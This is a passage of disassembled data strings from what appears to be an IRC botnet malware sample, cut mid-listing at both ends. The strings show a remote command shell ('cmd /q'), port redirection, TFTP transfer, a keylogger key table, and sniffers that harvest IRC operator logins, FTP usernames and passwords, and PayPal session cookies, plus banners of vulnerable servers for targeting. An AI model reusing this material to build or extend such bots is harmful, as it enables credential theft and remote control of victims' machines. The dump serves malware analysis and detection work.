'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FD8C+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FD8C+97o ; sub_41B1FC+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FD8C+83o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FD8C:loc_40FDF7o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_40FD8C+64o align 4 unk_436734 db 2Dh ; - ; DATA XREF: sub_40FF08+27Co db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_43676C db 2Dh ; - ; DATA XREF: sub_40FF08+20Ao db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h asc_4367A0: ; DATA XREF: sub_40FF08+156o unicode 0, <*>,0 aS_5 db '\%s',0 ; DATA XREF: sub_40FF08+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_4101B7+64Do align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4101B7+638o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_4101B7+61Do align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4101B7+58Eo align 8 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4101B7+566o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4101B7:loc_4106DAo align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4101B7+51Co align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4101B7+476o align 10h a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4101B7+439o align 10h aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4101B7+406o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4101B7:loc_410584o align 10h aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4101B7+3C6o align 10h aSS_1 db '%s%s/',0 ; DATA XREF: sub_4101B7+379o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4101B7+335o ; sub_4101B7+48Bo db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4101B7+308o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_4101B7+2DEo ; sub_4101B7+418o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4101B7+2B4o aAm db 'AM',0 ; DATA XREF: sub_4101B7+293o align 10h aPm db 'PM',0 ; DATA XREF: sub_4101B7+284o align 4 a__ db '..',0 ; DATA XREF: sub_4101B7+231o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4101B7+1BFo db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4101B7+146o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4101B7+12Ao db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4101B7+F6o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4101B7+ACo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4101B7+77o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4101B7+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410923+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 unk_436C50 db 2Dh ; - ; DATA XREF: sub_410A44+14Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 align 10h unk_436C90 db 2Dh ; - ; DATA XREF: sub_410A44+E9o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnecti db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_436CD8 db 2Dh ; - ; DATA XREF: sub_410BD4+157o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_436D18 db 2Dh ; - ; DATA XREF: sub_410BD4+E1o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_0 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_436D5C db 2Dh ; - ; DATA XREF: sub_410E59+1E9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_436D88 db 2Dh ; - ; DATA XREF: sub_410E59+1C2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_436DB4 db 2Dh ; - ; DATA XREF: sub_410E59+1A2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_410E59+172o align 10h unk_436DF0 db 2Dh ; - ; DATA XREF: sub_410E59+E1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_436E1C db 2Dh ; - ; DATA XREF: sub_41105E:loc_411090o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 unk_436E48 db 2Dh ; - ; DATA XREF: sub_41109F+1Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0 align 10h unk_436E80 db 2Dh ; - ; DATA XREF: sub_4110CE+218o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorServerFai db '- Error: server failed, returned: <%d>.',0 align 4 unk_436EB8 db 2Dh ; - ; DATA XREF: sub_4110CE+1E8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_40 db '- Failed to start client thread, error: <%d>.',0 align 8 unk_436EF8 db 2Dh ; - ; DATA XREF: sub_4110CE+177o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aClientConnec_1 db '- Client connection from IP: %s:%d, Server thread: %d.',0 unk_436F3C db 2Dh ; - ; DATA XREF: sub_4110CE+106o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aReadyAndWaitin db '- Ready and waiting for incoming connections.',0 align 4 unk_436F78 db 2Dh ; - ; DATA XREF: sub_4110CE+70o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0 align 4 unk_436FBC db 2Dh ; - ; DATA XREF: sub_4110CE+3Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_436FE8 db 2Dh ; - ; DATA XREF: sub_411355+E2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 10h unk_437020 db 2Dh ; - ; DATA XREF: sub_411355+59o ; sub_411355+8Fo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_437068 db 2Dh ; - ; DATA XREF: sub_4114AA+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_437090 db 2Dh ; - ; DATA XREF: sub_4114AA+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 10h unk_4370D0 db 2Dh ; - ; DATA XREF: sub_4114AA+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_437110 db 2Dh ; - ; DATA XREF: sub_4115A3+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4115A3+8Co align 10h unk_437150 db 2Dh ; - ; DATA XREF: sub_41167C+8Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 dword_43718C dd 234032Dh, 6B636F73h, 3023473haFailedToSta_41 db '- Failed to start server on Port %d.',0 align 10h dword_4371C0 dd 234032Dh, 6B636F73h, 3023473haFailedToSta_42 db '- Failed to start client thread, error: <%d>.',0 align 10h dword_437200 dd 234032Dh, 6B636F73h, 3023473haClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 8 dword_437248 dd 234032Dh, 6B636F73h, 3023473haErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 dword_43728C dd 234032Dh, 6B636F73h, 3023473haErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 4 dword_4372CC dd 234032Dh, 6B636F73h, 3023473haAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 4 dword_43730C dd 4000500h, 7868746Bh, 0aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_411DF4+3BEo align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_411DF4+2CDo align 4 dw 8 unicode 0, <>,0 aB_0: ; DATA XREF: sub_41234A:loc_41242Do unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_437A8C dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_437AC4 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_41226B+86o align 4 asc_437AF4: ; DATA XREF: sub_41226B+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_41234A+21Co align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_41234A+1D9o align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_41234A+8Fo align 10h off_437B40 dd offset dword_4383B8 ; DATA XREF: sub_41261F+2B5r dd offset off_4383B4 dd offset aFtp ; "FTP" dd offset aHttp_0 ; "HTTP" dword_437B50 dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_437B64 dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: .packed:00437B4Co align 10h aFtp db 'FTP',0 ; DATA XREF: .packed:00437B48o off_4383B4 dd offset dword_434F38+311h ; DATA XREF: .packed:00437B44o dword_4383B8 dd 544F42h dword_4383BC dd 234032Dh, 696E7370h, 3026666haRecvFailedRetu db '- recv() failed, returned %d',0 align 4 dword_4383E8 dd 234032Dh, 696E7370h, 3026666haSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0 dword_43841C dd 234032Dh, 696E7370h, 3026666h, 2Dhdword_43842C dd 4E53505Bh, 5D464649h, 0dword_438438 dd 234032Dh, 696E7370h, 3026666haWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 dword_438468 dd 234032Dh, 696E7370h, 3026666haBindFailedRetu db '- bind() failed, returned %d',0 align 4 dword_438494 dd 234032Dh, 696E7370h, 3026666haSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_4129A4+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_4129A4+EEo align 4 aIdent db ':!ident',0 ; DATA XREF: sub_4129A4+D9o a_ident db ':.ident',0 ; DATA XREF: sub_4129A4+C8o a_login db ':.Login',0 ; DATA XREF: sub_4129A4+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_4129A4+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_4129A4+95o a_login_0 db ':.login',0 ; DATA XREF: sub_4129A4+84o a366 db '366 ',0 ; DATA XREF: sub_4129A4+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_4129A4:loc_412A06o align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_4129A4+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_4129A4+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_4129A4+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_4129A4+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412ABB+62o aOper db 'oper ',0 ; DATA XREF: sub_412ABB+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412ABB:loc_412AFBo ; sub_412B31+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412ABB+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412ABB+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_412B31+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_412B31+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_412B31:loc_412B82o align 4 a220 db '220 ',0 ; DATA XREF: sub_412B31+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_412B31+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412BB8+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412BB8+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412BB8+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412BB8:loc_412BF8o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412BB8+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412BB8+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_412C3F+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_412C3F:loc_412C7Fo align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_412C3F+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_412C3F+5o align 4 unk_43862C db 2Dh ; - ; DATA XREF: sub_412CA4+3D6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_438664 db 2Dh ; - ; DATA XREF: sub_412CA4+36Ao db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_43869C db 2Dh ; - ; DATA XREF: sub_412CA4+337o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_4386D0 db 2Dh ; - ; DATA XREF: sub_412CA4+30Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_438704 db 2Dh ; - ; DATA XREF: sub_412CA4+2DCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_438738 db 2Dh ; - ; DATA XREF: sub_412CA4+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0 align 4 unk_438768 db 2Dh ; - ; DATA XREF: sub_412CA4+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRe_0 db '- bind() failed, returned %d',0 align 4 unk_438794 db 2Dh ; - ; DATA XREF: 